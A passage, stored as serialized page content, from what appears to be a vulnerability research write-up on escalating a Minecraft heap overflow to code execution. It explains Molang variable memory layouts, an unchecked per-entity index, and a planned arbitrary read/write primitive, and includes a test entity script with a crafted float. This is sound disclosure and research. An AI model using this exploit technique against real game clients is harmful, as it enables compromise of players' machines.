std::vector",{"type":24,"tag":327,"props":159450,"children":159451},{"style":381},[159452],{"type":29,"value":1596},{"type":24,"tag":327,"props":159454,"children":159455},{"style":334},[159456],{"type":29,"value":2195},{"type":24,"tag":327,"props":159458,"children":159459},{"style":346},[159460],{"type":29,"value":159461}," MolangScriptArg",{"type":24,"tag":327,"props":159463,"children":159464},{"style":381},[159465],{"type":29,"value":438},{"type":24,"tag":327,"props":159467,"children":159468},{"style":346},[159469],{"type":29,"value":159470}," struct_fields;\n",{"type":24,"tag":327,"props":159472,"children":159473},{"class":329,"line":586},[159474],{"type":24,"tag":327,"props":159475,"children":159476},{"style":346},[159477],{"type":29,"value":159478},"        \n",{"type":24,"tag":327,"props":159480,"children":159481},{"class":329,"line":1017},[159482],{"type":24,"tag":327,"props":159483,"children":159484},{"style":346},[159485],{"type":29,"value":130766},{"type":24,"tag":327,"props":159487,"children":159488},{"class":329,"line":1026},[159489],{"type":24,"tag":327,"props":159490,"children":159491},{"style":346},[159492],{"type":29,"value":45710},{"type":24,"tag":327,"props":159494,"children":159495},{"class":329,"line":1048},[159496],{"type":24,"tag":327,"props":159497,"children":159498},{"style":346},[159499],{"type":29,"value":24092},{"type":24,"tag":25,"props":159501,"children":159502},{},[159503,159505,159510],{"type":29,"value":159504},"In memory a ",{"type":24,"tag":284,"props":159506,"children":159508},{"className":159507},[],[159509],{"type":29,"value":159328},{"type":29,"value":159511}," instance resembles:",{"type":24,"tag":317,"props":159513,"children":159515},{"code":159514},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[159516],{"type":24,"tag":284,"props":159517,"children":159518},{"__ignoreMap":7},[159519],{"type":29,"value":159514},{"type":24,"tag":25,"props":159521,"children":159522},{},[159523],{"type":29,"value":159524},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":159526,"children":159527},{},[159528],{"type":24,"tag":11511,"props":159529,"children":159531},{"alt":57299,"src":159530},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":159533,"children":159534},{},[159535],{"type":29,"value":159536},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":159538,"children":159539},{},[159540,159542,159548,159550,159555,159557,159563,159565,159570,159571,159576,159578,159583,159584,159590,159591,159597],{"type":29,"value":159541},"We only care about the ",{"type":24,"tag":284,"props":159543,"children":159545},{"className":159544},[],[159546],{"type":29,"value":159547},"MolangScriptArg",{"type":29,"value":159549}," beginning at offset ",{"type":24,"tag":284,"props":159551,"children":159553},{"className":159552},[],[159554],{"type":29,"value":135645},{"type":29,"value":159556}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":284,"props":159558,"children":159560},{"className":159559},[],[159561],{"type":29,"value":159562},"value_type",{"type":29,"value":159564}," at ",{"type":24,"tag":284,"props":159566,"children":159568},{"className":159567},[],[159569],{"type":29,"value":135645},{"type":29,"value":13069},{"type":24,"tag":284,"props":159572,"children":159574},{"className":159573},[],[159575],{"type":29,"value":2988},{"type":29,"value":159577}," (meaning float), and the ",{"type":24,"tag":284,"props":159579,"children":159581},{"className":159580},[],[159582],{"type":29,"value":45865},{"type":29,"value":159564},{"type":24,"tag":284,"props":159585,"children":159587},{"className":159586},[],[159588],{"type":29,"value":159589},"0x38",{"type":29,"value":13069},{"type":24,"tag":284,"props":159592,"children":159594},{"className":159593},[],[159595],{"type":29,"value":159596},"0xbf2070c8",{"type":29,"value":66},{"type":24,"tag":25,"props":159599,"children":159600},{},[159601,159603,159609,159611,159616,159618,159623,159624,159629,159631,159636,159638,159643],{"type":29,"value":159602},"During assignment, such as ",{"type":24,"tag":284,"props":159604,"children":159606},{"className":159605},[],[159607],{"type":29,"value":159608},"variable.a = variable.b",{"type":29,"value":159610},", each field of ",{"type":24,"tag":284,"props":159612,"children":159614},{"className":159613},[],[159615],{"type":29,"value":159547},{"type":29,"value":159617}," is copied from variable ",{"type":24,"tag":284,"props":159619,"children":159621},{"className":159620},[],[159622],{"type":29,"value":10828},{"type":29,"value":63498},{"type":24,"tag":284,"props":159625,"children":159627},{"className":159626},[],[159628],{"type":29,"value":57},{"type":29,"value":159630},". Interestingly, the ",{"type":24,"tag":284,"props":159632,"children":159634},{"className":159633},[],[159635],{"type":29,"value":45865},{"type":29,"value":159637}," field is always copied as a ",{"type":24,"tag":284,"props":159639,"children":159641},{"className":159640},[],[159642],{"type":29,"value":62356},{"type":29,"value":159644}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":159646,"children":159647},{},[159648,159650,159656],{"type":29,"value":159649},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":284,"props":159651,"children":159653},{"className":159652},[],[159654],{"type":29,"value":159655},"MolangVariableMap",{"type":29,"value":66},{"type":24,"tag":168,"props":159658,"children":159660},{"id":159659},"molangvariablemap",[159661],{"type":29,"value":159655},{"type":24,"tag":25,"props":159663,"children":159664},{},[159665,159670,159672,159678,159680,159686],{"type":24,"tag":284,"props":159666,"children":159668},{"className":159667},[],[159669],{"type":29,"value":159655},{"type":29,"value":159671}," is simply a ",{"type":24,"tag":284,"props":159673,"children":159675},{"className":159674},[],[159676],{"type":29,"value":159677},"std::vector\u003CMolangVariable *>",{"type":29,"value":159679}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":284,"props":159681,"children":159683},{"className":159682},[],[159684],{"type":29,"value":159685},"std::vector",{"type":29,"value":159687}," layout:",{"type":24,"tag":317,"props":159689,"children":159691},{"code":159690,"language":320,"meta":7,"className":321,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[159692],{"type":24,"tag":284,"props":159693,"children":159694},{"__ignoreMap":7},[159695,159707,159723,159739,159755],{"type":24,"tag":327,"props":159696,"children":159697},{"class":329,"line":330},[159698,159702],{"type":24,"tag":327,"props":159699,"children":159700},{"style":334},[159701],{"type":29,"value":2195},{"type":24,"tag":327,"props":159703,"children":159704},{"style":346},[159705],{"type":29,"value":159706}," vector {\n",{"type":24,"tag":327,"props":159708,"children":159709},{"class":329,"line":367},[159710,159714,159718],{"type":24,"tag":327,"props":159711,"children":159712},{"style":334},[159713],{"type":29,"value":24062},{"type":24,"tag":327,"props":159715,"children":159716},{"style":381},[159717],{"type":29,"value":17364},{"type":24,"tag":327,"props":159719,"children":159720},{"style":346},[159721],{"type":29,"value":159722},"buf;\n",{"type":24,"tag":327,"props":159724,"children":159725},{"class":329,"line":408},[159726,159730,159734],{"type":24,"tag":327,"props":159727,"children":159728},{"style":334},[159729],{"type":29,"value":24062},{"type":24,"tag":327,"props":159731,"children":159732},{"style":381},[159733],{"type":29,"value":17364},{"type":24,"tag":327,"props":159735,"children":159736},{"style":346},[159737],{"type":29,"value":159738},"len;\n",{"type":24,"tag":327,"props":159740,"children":159741},{"class":329,"line":421},[159742,159746,159750],{"type":24,"tag":327,"props":159743,"children":159744},{"style":334},[159745],{"type":29,"value":24062},{"type":24,"tag":327,"props":159747,"children":159748},{"style":381},[159749],{"type":29,"value":17364},{"type":24,"tag":327,"props":159751,"children":159752},{"style":346},[159753],{"type":29,"value":159754},"cap;\n",{"type":24,"tag":327,"props":159756,"children":159757},{"class":329,"line":450},[159758],{"type":24,"tag":327,"props":159759,"children":159760},{"style":346},[159761],{"type":29,"value":24092},{"type":24,"tag":25,"props":159763,"children":159764},{},[159765,159770,159772,159777,159779,159785,159787,159792,159793,159798],{"type":24,"tag":284,"props":159766,"children":159768},{"className":159767},[],[159769],{"type":29,"value":156851},{"type":29,"value":159771}," points to the allocated array of elements, ",{"type":24,"tag":284,"props":159773,"children":159775},{"className":159774},[],[159776],{"type":29,"value":4906},{"type":29,"value":159778}," points just past the last used element, and ",{"type":24,"tag":284,"props":159780,"children":159782},{"className":159781},[],[159783],{"type":29,"value":159784},"cap",{"type":29,"value":159786}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":284,"props":159788,"children":159790},{"className":159789},[],[159791],{"type":29,"value":4906},{"type":29,"value":1323},{"type":24,"tag":284,"props":159794,"children":159796},{"className":159795},[],[159797],{"type":29,"value":159784},{"type":29,"value":159799}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":25,"props":159801,"children":159802},{},[159803],{"type":29,"value":159804},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":317,"props":159806,"children":159808},{"code":159807},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[159809],{"type":24,"tag":284,"props":159810,"children":159811},{"__ignoreMap":7},[159812],{"type":29,"value":159807},{"type":24,"tag":25,"props":159814,"children":159815},{},[159816,159818,159824,159826,159832],{"type":29,"value":159817},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":284,"props":159819,"children":159821},{"className":159820},[],[159822],{"type":29,"value":159823},"variable.result",{"type":29,"value":159825},") may differ between entities. To get around this, ",{"type":24,"tag":284,"props":159827,"children":159829},{"className":159828},[],[159830],{"type":29,"value":159831},"MolangIndexMap",{"type":29,"value":159833}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":168,"props":159835,"children":159837},{"id":159836},"molangindexmap",[159838],{"type":29,"value":159831},{"type":24,"tag":25,"props":159840,"children":159841},{},[159842,159847,159849,159855,159857,159863],{"type":24,"tag":284,"props":159843,"children":159845},{"className":159844},[],[159846],{"type":29,"value":159831},{"type":29,"value":159848}," is a per-entity ",{"type":24,"tag":284,"props":159850,"children":159852},{"className":159851},[],[159853],{"type":29,"value":159854},"std::vector\u003Cuint16_t>",{"type":29,"value":159856},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":284,"props":159858,"children":159860},{"className":159859},[],[159861],{"type":29,"value":159862},"variable.result = 0",{"type":29,"value":159864}," it:",{"type":24,"tag":175,"props":159866,"children":159867},{},[159868,159878,159888],{"type":24,"tag":179,"props":159869,"children":159870},{},[159871,159873],{"type":29,"value":159872},"Checks the global hashmap for ",{"type":24,"tag":284,"props":159874,"children":159876},{"className":159875},[],[159877],{"type":29,"value":16637},{"type":24,"tag":179,"props":159879,"children":159880},{},[159881,159883],{"type":29,"value":159882},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":284,"props":159884,"children":159886},{"className":159885},[],[159887],{"type":29,"value":159831},{"type":24,"tag":179,"props":159889,"children":159890},{},[159891,159893],{"type":29,"value":159892},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":284,"props":159894,"children":159896},{"className":159895},[],[159897],{"type":29,"value":159898},"last_index + 1",{"type":24,"tag":25,"props":159900,"children":159901},{},[159902,159904,159909,159911,159916,159918,159923,159925,159930,159932,159937,159938,159944,159946,159951],{"type":29,"value":159903},"This means the same global index for variable ",{"type":24,"tag":284,"props":159905,"children":159907},{"className":159906},[],[159908],{"type":29,"value":16637},{"type":29,"value":159910}," maps to the same position inside every entity’s ",{"type":24,"tag":284,"props":159912,"children":159914},{"className":159913},[],[159915],{"type":29,"value":159831},{"type":29,"value":159917},", but the actual ",{"type":24,"tag":284,"props":159919,"children":159921},{"className":159920},[],[159922],{"type":29,"value":159328},{"type":29,"value":159924}," for ",{"type":24,"tag":284,"props":159926,"children":159928},{"className":159927},[],[159929],{"type":29,"value":16637},{"type":29,"value":159931}," may live at different slots inside each entity's ",{"type":24,"tag":284,"props":159933,"children":159935},{"className":159934},[],[159936],{"type":29,"value":159655},{"type":29,"value":26042},{"type":24,"tag":284,"props":159939,"children":159941},{"className":159940},[],[159942],{"type":29,"value":159943},"Entity.MolangIndexMap[global_index]",{"type":29,"value":159945}," stores the per-entity index (slot) of variable ",{"type":24,"tag":284,"props":159947,"children":159949},{"className":159948},[],[159950],{"type":29,"value":16637},{"type":29,"value":66},{"type":24,"tag":25,"props":159953,"children":159954},{},[159955,159957,159962,159964,159969,159971,159976,159978,159983,159985,159991,159993,159998],{"type":29,"value":159956},"Importantly, we found that indices in the ",{"type":24,"tag":284,"props":159958,"children":159960},{"className":159959},[],[159961],{"type":29,"value":159831},{"type":29,"value":159963}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":284,"props":159965,"children":159967},{"className":159966},[],[159968],{"type":29,"value":159655},{"type":29,"value":159970},". This means that if we overwrite the index of variable ",{"type":24,"tag":284,"props":159972,"children":159974},{"className":159973},[],[159975],{"type":29,"value":16637},{"type":29,"value":159977}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":284,"props":159979,"children":159981},{"className":159980},[],[159982],{"type":29,"value":159655},{"type":29,"value":159984},", we could read from and write to ",{"type":24,"tag":284,"props":159986,"children":159988},{"className":159987},[],[159989],{"type":29,"value":159990},"address + 0x38",{"type":29,"value":159992}," through ",{"type":24,"tag":284,"props":159994,"children":159996},{"className":159995},[],[159997],{"type":29,"value":159823},{"type":29,"value":66},{"type":24,"tag":235,"props":160000,"children":160002},{"id":160001},"building-a-molang-arbitrary-rw-primitive",[160003],{"type":29,"value":160004},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":25,"props":160006,"children":160007},{},[160008,160010,160015,160017,160022],{"type":29,"value":160009},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":284,"props":160011,"children":160013},{"className":160012},[],[160014],{"type":29,"value":159685},{"type":29,"value":160016}," - specifically, of ",{"type":24,"tag":284,"props":160018,"children":160020},{"className":160019},[],[160021],{"type":29,"value":159655},{"type":29,"value":160023}," vector.",{"type":24,"tag":25,"props":160025,"children":160026},{},[160027,160029,160034,160036,160041,160042,160047,160049,160054],{"type":29,"value":160028},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":284,"props":160030,"children":160032},{"className":160031},[],[160033],{"type":29,"value":159655},{"type":29,"value":160035}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":284,"props":160037,"children":160039},{"className":160038},[],[160040],{"type":29,"value":156851},{"type":29,"value":62513},{"type":24,"tag":284,"props":160043,"children":160045},{"className":160044},[],[160046],{"type":29,"value":159655},{"type":29,"value":160048}," vector belonging to an entity object placed just next the ",{"type":24,"tag":284,"props":160050,"children":160052},{"className":160051},[],[160053],{"type":29,"value":159655},{"type":29,"value":160055}," allocated buffer.",{"type":24,"tag":317,"props":160057,"children":160059},{"code":160058},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[160060],{"type":24,"tag":284,"props":160061,"children":160062},{"__ignoreMap":7},[160063],{"type":29,"value":160058},{"type":24,"tag":25,"props":160065,"children":160066},{},[160067,160069,160074,160076,160082,160084,160089,160090,160096,160097,160102,160104,160109,160111,160116,160118,160123,160125,160130,160132,160137,160139,160144,160146,160152,160154,160159,160161,160166],{"type":29,"value":160068},"In the scenario above, the ",{"type":24,"tag":284,"props":160070,"children":160072},{"className":160071},[],[160073],{"type":29,"value":159831},{"type":29,"value":160075}," would map ",{"type":24,"tag":284,"props":160077,"children":160079},{"className":160078},[],[160080],{"type":29,"value":160081},"variable.a",{"type":29,"value":160083}," -> index ",{"type":24,"tag":284,"props":160085,"children":160087},{"className":160086},[],[160088],{"type":29,"value":2988},{"type":29,"value":2744},{"type":24,"tag":284,"props":160091,"children":160093},{"className":160092},[],[160094],{"type":29,"value":160095},"variable.b",{"type":29,"value":160083},{"type":24,"tag":284,"props":160098,"children":160100},{"className":160099},[],[160101],{"type":29,"value":3238},{"type":29,"value":160103},", and so on. If we overwrite the index for ",{"type":24,"tag":284,"props":160105,"children":160107},{"className":160106},[],[160108],{"type":29,"value":160081},{"type":29,"value":160110}," with a value that is out-of-bounds for the ",{"type":24,"tag":284,"props":160112,"children":160114},{"className":160113},[],[160115],{"type":29,"value":159655},{"type":29,"value":160117},", it can instead index the ",{"type":24,"tag":284,"props":160119,"children":160121},{"className":160120},[],[160122],{"type":29,"value":156851},{"type":29,"value":160124}," field of the entity object above. Reading ",{"type":24,"tag":284,"props":160126,"children":160128},{"className":160127},[],[160129],{"type":29,"value":160081},{"type":29,"value":160131}," will then return the pointer stored at offset ",{"type":24,"tag":284,"props":160133,"children":160135},{"className":160134},[],[160136],{"type":29,"value":159589},{"type":29,"value":160138}," from the start of the ",{"type":24,"tag":284,"props":160140,"children":160142},{"className":160141},[],[160143],{"type":29,"value":159655},{"type":29,"value":160145}," (which in this diagram corresponds to ",{"type":24,"tag":284,"props":160147,"children":160149},{"className":160148},[],[160150],{"type":29,"value":160151},"variable.f",{"type":29,"value":160153},"), and writing to ",{"type":24,"tag":284,"props":160155,"children":160157},{"className":160156},[],[160158],{"type":29,"value":160081},{"type":29,"value":160160}," will overwrite that pointer - corrupting ",{"type":24,"tag":284,"props":160162,"children":160164},{"className":160163},[],[160165],{"type":29,"value":160151},{"type":29,"value":66},{"type":24,"tag":25,"props":160168,"children":160169},{},[160170,160172,160177,160178,160184,160186,160191,160193,160199,160201,160206,160208,160213,160215,160221,160223,160229,160231,160236],{"type":29,"value":160171},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":284,"props":160173,"children":160175},{"className":160174},[],[160176],{"type":29,"value":160081},{"type":29,"value":5894},{"type":24,"tag":284,"props":160179,"children":160181},{"className":160180},[],[160182],{"type":29,"value":160183},"variable.a += 8",{"type":29,"value":160185},"), which advances the pointer used for ",{"type":24,"tag":284,"props":160187,"children":160189},{"className":160188},[],[160190],{"type":29,"value":160151},{"type":29,"value":160192}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":284,"props":160194,"children":160196},{"className":160195},[],[160197],{"type":29,"value":160198},"variable.a = variable.exe_leak + \u003Coffset>",{"type":29,"value":160200}," - this updates the ",{"type":24,"tag":284,"props":160202,"children":160204},{"className":160203},[],[160205],{"type":29,"value":160151},{"type":29,"value":160207}," pointer to our chosen address, and writing to ",{"type":24,"tag":284,"props":160209,"children":160211},{"className":160210},[],[160212],{"type":29,"value":160151},{"type":29,"value":160214},", for example ",{"type":24,"tag":284,"props":160216,"children":160218},{"className":160217},[],[160219],{"type":29,"value":160220},"variable.f = 1337",{"type":29,"value":160222},", writes the value ",{"type":24,"tag":284,"props":160224,"children":160226},{"className":160225},[],[160227],{"type":29,"value":160228},"1337",{"type":29,"value":160230}," to offset ",{"type":24,"tag":284,"props":160232,"children":160234},{"className":160233},[],[160235],{"type":29,"value":159589},{"type":29,"value":160237}," from that calculated address.",{"type":24,"tag":168,"props":160239,"children":160241},{"id":160240},"testing-the-idea",[160242],{"type":29,"value":160243},"Testing the Idea",{"type":24,"tag":25,"props":160245,"children":160246},{},[160247,160249,160254,160256,160261,160263,160268],{"type":29,"value":160248},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":284,"props":160250,"children":160252},{"className":160251},[],[160253],{"type":29,"value":159655},{"type":29,"value":160255}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":42,"props":160257,"children":160258},{},[160259],{"type":29,"value":160260},"almost",{"type":29,"value":160262}," worked - below is the state of the ",{"type":24,"tag":284,"props":160264,"children":160266},{"className":160265},[],[160267],{"type":29,"value":159655},{"type":29,"value":160269},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":25,"props":160271,"children":160272},{},[160273],{"type":24,"tag":11511,"props":160274,"children":160276},{"alt":57299,"src":160275},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":25,"props":160278,"children":160279},{},[160280],{"type":29,"value":160281},"And this is after execution:",{"type":24,"tag":25,"props":160283,"children":160284},{},[160285],{"type":24,"tag":11511,"props":160286,"children":160288},{"alt":57299,"src":160287},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":25,"props":160290,"children":160291},{},[160292],{"type":29,"value":160293},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":317,"props":160295,"children":160297},{"code":160296,"language":40709,"meta":7,"className":40707,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[160298],{"type":24,"tag":284,"props":160299,"children":160300},{"__ignoreMap":7},[160301,160308,160329,160341,160353,160374,160381,160388,160395,160407,160420,160432,160444,160456,160472,160479,160491,160499,160507,160514,160521,160528],{"type":24,"tag":327,"props":160302,"children":160303},{"class":329,"line":330},[160304],{"type":24,"tag":327,"props":160305,"children":160306},{"style":346},[160307],{"type":29,"value":18427},{"type":24,"tag":327,"props":160309,"children":160310},{"class":329,"line":367},[160311,160316,160320,160325],{"type":24,"tag":327,"props":160312,"children":160313},{"style":356},[160314],{"type":29,"value":160315},"  \"format_version\"",{"type":24,"tag":327,"props":160317,"children":160318},{"style":346},[160319],{"type":29,"value":3459},{"type":24,"tag":327,"props":160321,"children":160322},{"style":844},[160323],{"type":29,"value":160324},"\"1.10.0\"",{"type":24,"tag":327,"props":160326,"children":160327},{"style":346},[160328],{"type":29,"value":2231},{"type":24,"tag":327,"props":160330,"children":160331},{"class":329,"line":408},[160332,160337],{"type":24,"tag":327,"props":160333,"children":160334},{"style":356},[160335],{"type":29,"value":160336},"  \"minecraft:client_entity\"",{"type":24,"tag":327,"props":160338,"children":160339},{"style":346},[160340],{"type":29,"value":43735},{"type":24,"tag":327,"props":160342,"children":160343},{"class":329,"line":421},[160344,160349],{"type":24,"tag":327,"props":160345,"children":160346},{"style":356},[160347],{"type":29,"value":160348},"    \"description\"",{"type":24,"tag":327,"props":160350,"children":160351},{"style":346},[160352],{"type":29,"value":43735},{"type":24,"tag":327,"props":160354,"children":160355},{"class":329,"line":450},[160356,160361,160365,160370],{"type":24,"tag":327,"props":160357,"children":160358},{"style":356},[160359],{"type":29,"value":160360},"      \"identifier\"",{"type":24,"tag":327,"props":160362,"children":160363},{"style":346},[160364],{"type":29,"value":3459},{"type":24,"tag":327,"props":160366,"children":160367},{"style":844},[160368],{"type":29,"value":160369},"\"minecraft:leash_knot\"",{"type":24,"tag":327,"props":160371,"children":160372},{"style":346},[160373],{"type":29,"value":2231},{"type":24,"tag":327,"props":160375,"children":160376},{"class":329,"line":481},[160377],{"type":24,"tag":327,"props":160378,"children":160379},{"emptyLinePlaceholder":16},[160380],{"type":29,"value":544},{"type":24,"tag":327,"props":160382,"children":160383},{"class":329,"line":500},[160384],{"type":24,"tag":327,"props":160385,"children":160386},{"style":3818},[160387],{"type":29,"value":134168},{"type":24,"tag":327,"props":160389,"children":160390},{"class":329,"line":529},[160391],{"type":24,"tag":327,"props":160392,"children":160393},{"style":346},[160394],{"type":29,"value":159478},{"type":24,"tag":327,"props":160396,"children":160397},{"class":329,"line":538},[160398,160403],{"type":24,"tag":327,"props":160399,"children":160400},{"style":356},[160401],{"type":29,"value":160402},"      \"scripts\"",{"type":24,"tag":327,"props":160404,"children":160405},{"style":346},[160406],{"type":29,"value":43735},{"type":24,"tag":327,"props":160408,"children":160409},{"class":329,"line":547},[160410,160415],{"type":24,"tag":327,"props":160411,"children":160412},{"style":356},[160413],{"type":29,"value":160414},"        \"initialize\"",{"type":24,"tag":327,"props":160416,"children":160417},{"style":346},[160418],{"type":29,"value":160419},": [\n",{"type":24,"tag":327,"props":160421,"children":160422},{"class":329,"line":557},[160423,160428],{"type":24,"tag":327,"props":160424,"children":160425},{"style":844},[160426],{"type":29,"value":160427},"          \"variable.a = 0;\"",{"type":24,"tag":327,"props":160429,"children":160430},{"style":346},[160431],{"type":29,"value":2231},{"type":24,"tag":327,"props":160433,"children":160434},{"class":329,"line":586},[160435,160440],{"type":24,"tag":327,"props":160436,"children":160437},{"style":844},[160438],{"type":29,"value":160439},"          \"variable.b = 0;\"",{"type":24,"tag":327,"props":160441,"children":160442},{"style":346},[160443],{"type":29,"value":2231},{"type":24,"tag":327,"props":160445,"children":160446},{"class":329,"line":1017},[160447,160452],{"type":24,"tag":327,"props":160448,"children":160449},{"style":844},[160450],{"type":29,"value":160451},"          \"variable.c = 0;\"",{"type":24,"tag":327,"props":160453,"children":160454},{"style":346},[160455],{"type":29,"value":2231},{"type":24,"tag":327,"props":160457,"children":160458},{"class":329,"line":1026},[160459,160464,160468],{"type":24,"tag":327,"props":160460,"children":160461},{"style":346},[160462],{"type":29,"value":160463},"          [",{"type":24,"tag":327,"props":160465,"children":160466},{"style":3818},[160467],{"type":29,"value":1922},{"type":24,"tag":327,"props":160469,"children":160470},{"style":346},[160471],{"type":29,"value":19319},{"type":24,"tag":327,"props":160473,"children":160474},{"class":329,"line":1048},[160475],{"type":24,"tag":327,"props":160476,"children":160477},{"style":346},[160478],{"type":29,"value":50365},{"type":24,"tag":327,"props":160480,"children":160481},{"class":329,"line":1067},[160482,160487],{"type":24,"tag":327,"props":160483,"children":160484},{"style":356},[160485],{"type":29,"value":160486},"        \"pre_animation\"",{"type":24,"tag":327,"props":160488,"children":160489},{"style":346},[160490],{"type":29,"value":160419},{"type":24,"tag":327,"props":160492,"children":160493},{"class":329,"line":1075},[160494],{"type":24,"tag":327,"props":160495,"children":160496},{"style":844},[160497],{"type":29,"value":160498},"          \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":327,"props":160500,"children":160501},{"class":329,"line":1084},[160502],{"type":24,"tag":327,"props":160503,"children":160504},{"style":346},[160505],{"type":29,"value":160506},"        ]\n",{"type":24,"tag":327,"props":160508,"children":160509},{"class":329,"line":1100},[160510],{"type":24,"tag":327,"props":160511,"children":160512},{"style":346},[160513],{"type":29,"value":43912},{"type":24,"tag":327,"props":160515,"children":160516},{"class":329,"line":1128},[160517],{"type":24,"tag":327,"props":160518,"children":160519},{"style":346},[160520],{"type":29,"value":535},{"type":24,"tag":327,"props":160522,"children":160523},{"class":329,"line":1148},[160524],{"type":24,"tag":327,"props":160525,"children":160526},{"style":346},[160527],{"type":29,"value":13439},{"type":24,"tag":327,"props":160529,"children":160530},{"class":329,"line":1176},[160531],{"type":24,"tag":327,"props":160532,"children":160533},{"style":346},[160534],{"type":29,"value":592},{"type":24,"tag":25,"props":160536,"children":160537},{},[160538,160540,160545,160547,160552,160554,160559],{"type":29,"value":160539},"As shown, the pointer of a variable at offset ",{"type":24,"tag":284,"props":160541,"children":160543},{"className":160542},[],[160544],{"type":29,"value":159589},{"type":29,"value":160546}," was modified and the core concept works. During ",{"type":24,"tag":284,"props":160548,"children":160550},{"className":160549},[],[160551],{"type":29,"value":159547},{"type":29,"value":160553}," copy, pointers of some other variables above offset ",{"type":24,"tag":284,"props":160555,"children":160557},{"className":160556},[],[160558],{"type":29,"value":159589},{"type":29,"value":160560}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":160562,"children":160563},{},[160564],{"type":29,"value":160565},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":1380,"props":160567,"children":160568},{},[160569,160582],{"type":24,"tag":179,"props":160570,"children":160571},{},[160572,160574,160580],{"type":29,"value":160573},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":284,"props":160575,"children":160577},{"className":160576},[],[160578],{"type":29,"value":160579},"FLT_MAX",{"type":29,"value":160581},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":179,"props":160583,"children":160584},{},[160585,160587,160592,160594,160599,160600,160605,160607,160612],{"type":29,"value":160586},"As noted before, during assignment, ",{"type":24,"tag":284,"props":160588,"children":160590},{"className":160589},[],[160591],{"type":29,"value":159547},{"type":29,"value":160593}," fields are copied, and the ",{"type":24,"tag":284,"props":160595,"children":160597},{"className":160596},[],[160598],{"type":29,"value":45865},{"type":29,"value":159637},{"type":24,"tag":284,"props":160601,"children":160603},{"className":160602},[],[160604],{"type":29,"value":62356},{"type":29,"value":160606},". Since our source ",{"type":24,"tag":284,"props":160608,"children":160610},{"className":160609},[],[160611],{"type":29,"value":159547},{"type":29,"value":160613}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":160615,"children":160616},{},[160617],{"type":29,"value":160618},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new 